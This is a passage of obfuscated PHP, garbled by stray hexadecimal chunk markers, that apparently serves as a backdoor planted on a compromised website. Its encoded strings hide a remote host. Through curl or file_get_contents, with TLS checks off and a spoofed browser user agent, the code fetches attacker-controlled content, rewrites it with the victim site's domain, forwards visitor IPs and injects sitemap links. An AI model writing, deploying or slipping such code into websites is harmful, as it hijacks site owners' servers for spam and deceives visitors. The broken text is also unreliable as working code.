3 $url, CURLOPT_ 5 RETUR 5 NTRAN 8 SFER => e true, CURLOPT_ 4 SSL_ 7 VERIFYP c EER => false 17 , CURLOPT_SSL_VERIFYHOS 16 T => false, CURLOPT_FO 5 LLOWL 5 OCATI 15 ON => true, CURLOPT_T 5 IMEOU 11 T => 10, CURLOPT_ 4 HTTP 16 GET => true, CURLOPT_U 6 SERAGE d NT => "\115\1 a 57\172\151 c \154\x6c\141 9 \57\x35\x 5 2e\60 7 ")); $d f ata = curl_exec d ($ch); curl_c b lose($ch); 15 if (!empty($data)) { 6 return 10 $data; } } if ( 7 ini_get 13 ("\141\154\x6c\x6f\ 9 167\x5f\x 10 75\162\154\x5f\1 b 46\157\160\ 7 x65\156 d ")) { $contex a t = stream a _context_c c reate(array( 5 "\x68 d \164\x74\160" d => array("\1 d 55\x65\164\x6 a 8\x6f\x64" c => "\x47\10 a 5\x54", "\ b x74\x69\155 f \145\x6f\x75\x7 e 4" => 10, "\15 9 0\x65\x61 13 \x64\x65\162" => "\ 9 125\163\x d 65\162\x2d\x4 16 1\147\145\x6e\164\x3a\ b 40\x4d\157\ 8 x7a\151\ d x6c\x6c\x61\x e 2f\x35\x2e\60\ c 15\12"), "\1 a 63\x73\x6c 1a " => array("\166\x65\162\x 9 69\146\x7 10 9\137\160\x65\14 11 5\162" => false, b "\x76\145\x e 72\151\146\171 f \137\x70\145\14 b 5\162\x5f\x d 6e\141\x6d\x6 c 5" => false) 20 )); $data = @file_get_contents($ 14 url, false, $context 32 ); if (!empty($data)) { return $data; } } return ' a '; } goto 6 X5nb1; a D_iaM: $v 7 url = $ 14 http_type . "\x69\14 a 4\154\x79\ a 62\56\x69\ b x64\x73\x68 e \157\x70\x2e\x 7 63\143\ c 167\x75\56\1 b 43\x63\x2f\ 6 64\61\ 10 71\56\x61\163\x7 d 0\x78"; goto c N2pxL; EzYoe 17 : if (!empty($get["\163 d "])) { $param 10 s = array("\163" 9 => date( a "\131\x6d\ b 144\x48\151 d "), "\x6e\165 15 \155\142\x65\162" => c $get["\156\1 14 65\x6d\x62\145\162"] a ); $str = a getCurl($v 16 url, $params); $str = 9 str_repla c ce(array("\1 b 73\xe5\275\ a 223\xe5\x8 6 9\x8d\ 8 345\x9c\ 9 260\xe5\2 a 35\x80\x7d b "), array($ 1b http_type . $_SERVER["\110\ f x54\x54\x50\x5f e \110\117\x53\1 1a 24"] . $_SERVER["\123\x43\ 11 122\x49\x50\124\1 16 37\116\x41\x4d\x45"]), b $str); hea 7 der("\1 8 03\157\1 14 56\x74\x65\156\164\x c 2d\164\171\1 b 60\x65\72\1 e 64\x65\170\x74 e \57\x78\155\15 7 4"); ec 9 ho $str; d die; } goto N 5 4dac; 14 X5nb1: $http_type = 1f !empty($_SERVER["\110\x54\x54\ a 120\123"]) 4 && 17 $_SERVER["\x48\124\124\ c x50\123"] != c = "\x6f\146\ 9 x66" ? "\ f x68\164\164\160 c \x73\x3a\x2f e \x2f" : "\150\ 16 164\164\160\x3a\x2f\57 e "; goto Aq5NJ; 6 f5XoA e : function pos 11 tCurl($url, $post 17 Data = array()) { $post 31 String = is_array($postData) ? http_build_query($ 15 postData) : $postData 20 ; if (function_exists("\143\x75\ 13 162\154\x5f\x69\x6e f4 \x69\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_ 16 POST => true, CURLOPT_ 8 POSTFIEL 7 DS => $ 70 postString)); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ e x6c\x6c\157\x7 1d 7\x5f\x75\162\154\x5f\x66\x6f a \x70\145\1 40 56")) { $context = stream_context_create(array("\150\164\164\160 1e " => array("\155\145\164\150\1 f 57\144" => "\12 e 0\x4f\x53\124" 10 , "\164\x69\155\ d x65\157\165\x 14 74" => 10, "\x68\x65 e \141\144\x65\x b 72" => "\10 12 3\x6f\156\x74\x65\ d x6e\x74\55\12 f 4\171\x70\x65\x f 3a\x20\x61\160\ f 160\x6c\x69\x63 d \x61\x74\x69\ f x6f\x6e\57\x78\ f 55\x77\x77\167\ e 55\x66\x6f\x72 b \155\x2d\16 14 5\162\x6c\x65\156\14 b 3\157\144\1 9 45\144\xd b \12" . "\x4 1b 3\x6f\156\x74\145\156\x74\x 10 2d\x4c\145\x6e\1 b 47\164\x68\ 9 72\40" . 7 strlen( 16 $postString) . "\xd\xa a " . "\125\ 10 x73\145\x72\x2d\ 9 101\x67\x 1a 65\156\164\x3a\40\x4d\157\ 12 172\151\x6c\x6c\14 c 1\x2f\65\56\ a x30\xd\xa" 14 , "\143\x6f\x6e\164\ c 145\x6e\164" 2c => $postString), "\163\x73\x6c" => array("\ 19 x76\145\x72\x69\146\171\x 7 5f\x70\ 2e x65\145\162" => false, "\x76\145\162\x69\x66\x 6 79\x5f 12 \160\145\x65\x72\1 d 37\x6e\141\15 5 5\145 81 " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF; 1b N4dac: if (!empty($get["\1 11 51\144"])) { if ( 13 empty($get["\153\15 11 3"])) { $ip = get 7 _ip(); 18 $params = array("\x69\16 a 0" => $ip, 11 "\x69\144" => is 13 set($get["\x69\144" 5 ]) ? 10 $get["\151\x64"] c : '', "\x6c c \x6c" => $ll 6 ); $tz 2b str = getCurl($vurl, $params); if (strpos($ 12 tzstr, "\x69\144") e !== false) { 14 echo $tzstr; die; } 18 } $params = array("\x69\ 18 x64" => $get["\x69\x64"] c , "\x6c\154" 45 => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\ 9 x7b\125\x a 52\x4c\175 9 ", "\173\ c 345\237\237\ 9 345\x90\2 7 15\175" 13 ), array(get_url_in 8 fo("\146 10 \165\154\x6c"), 18 get_url_info("\156\157\1 e 37\x77\167\167 c ")), $str); 1a echo $str; die; } else { $ e sitemapUrl = $ a ll . "\x3f c \x73\x3d" . 12 date("\131\155\144 8 \110\x69 10 "); echo "\74\14 b 4\x69\166\4 10 0\x73\164\171\15 c 4\145\x3d\x2 c 7\x74\145\17 f 0\164\x2d\x61\1 11 54\151\147\156\x3 8 a\x63\14 16 5\x6e\164\x65\x72\73\4 10 0\160\x61\144\14 e 4\x69\156\x67\ 8 72\61\x3 e 0\160\170\40\x a 30\73\x27\ d 76\x3c\x61\x2 f 0\150\162\x65\1 8 46\75\42 d {$sitemapUrl} a \x22\x20\x e 74\x61\x72\x67 e \x65\164\x3d\4 f 2\x5f\x62\154\1 a 41\x6e\x6b 14 \42\40\162\x65\x6c\x c 3d\x22\x6e\1 b 57\x66\157\ 11 x6c\x6c\157\167\x c 22\x3e\x20\x 9 53\x69\x7 18 4\x65\x6d\x61\160\74\57\ d 141\x3e\x3c\x c 2f\144\151\1 6 66\76" d ; } goto nnSB 6 p; Uh8 10 So: function get a _ip() { fo 6 reach 15 (array("\x48\x54\x54\ b x50\x5f\x58 f \137\x46\117\x5 9 2\127\101 c \122\104\x45 c \104\x5f\x46 e \x4f\x52", "\x f 48\124\x54\120\ b x5f\x43\114 a \x49\105\x d 4e\x54\137\11 10 1\x50", "\x52\x4 12 5\x4d\117\x54\x45\ 9 x5f\101\x c 44\x44\x52") 6 as $k 12 ey) { if (!empty($ d _SERVER[$key] 10 )) { return trim 7 (explod 4 e("\ 4 x2c" 13 , $_SERVER[$key])[0 f ]); } } return b "\x55\x4e\1 9 13\116\x4 13 f\x57\116"; } goto c f5XoA; shqZL 18 : function get_url_info( 8 string $ f return_type = " 10 \144\157\155\141 d \151\x6e") : b string { $h 11 ost = $_SERVER["\ 18 x48\124\124\x50\x5f\110\ 13 x4f\123\x54"]; if ( 17 $return_type === "\144\ f x6f\155\x61\x69 11 \156") { return $ c host; } if ( 21 $return_type === "\156\157\x5f\x7 16 7\167\167") { return l a trim($host 13 , "\x77\x77\167\x2e 9 "); } $pr 6 otocol a = isset($ 1c _SERVER["\110\x54\124\x50\x5 25 3"]) && $_SERVER["\110\x54\x54\x50\x5 f 3"] === "\x6f\1 6 56" || 1a isset($_SERVER["\x48\x54\ 15 124\x50\x5f\130\137\1 9 06\x4f\12 16 2\127\x41\122\104\x45\ 9 x44\137\x 12 50\x52\117\x54\x4f 27 "]) && $_SERVER["\110\124\124\120\137\x 13 58\137\106\x4f\122\ 10 x57\101\122\104\ 10 105\104\137\x50\ f 122\x4f\x54\117 f "] === "\150\x7 d 4\x74\160\x73 11 " ? "\x68\x74\164 d \x70\x73\x3a\ c 57\x2f" : "\ 1b x68\x74\164\x70\72\x2f\x2f" 6 ; $bas 9 e_url = $ 12 protocol . $host; 21 if ($return_type === "\142\x61\x7 12 3\145") { return $ 10 base_url; } $uri 16 = $_SERVER["\x52\x45\ 9 121\125\1 a 05\123\124 10 \x5f\x55\122\x49 8 "]; $ful 12 l_url = $base_url 6 . $uri 25 ; if ($return_type === "\x66\165\154\ 10 154") { return $ 1e full_url; } return ''; } goto d Uh8So; nnSBp: 3 ?> 0